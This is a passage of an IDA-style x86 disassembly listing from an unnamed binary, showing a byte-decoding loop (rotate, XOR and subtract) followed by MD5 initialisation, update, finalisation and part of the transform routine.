		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------

loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------

loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax

loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------

loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax

loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------

loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax

loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------

loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------

loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------

loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax

loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
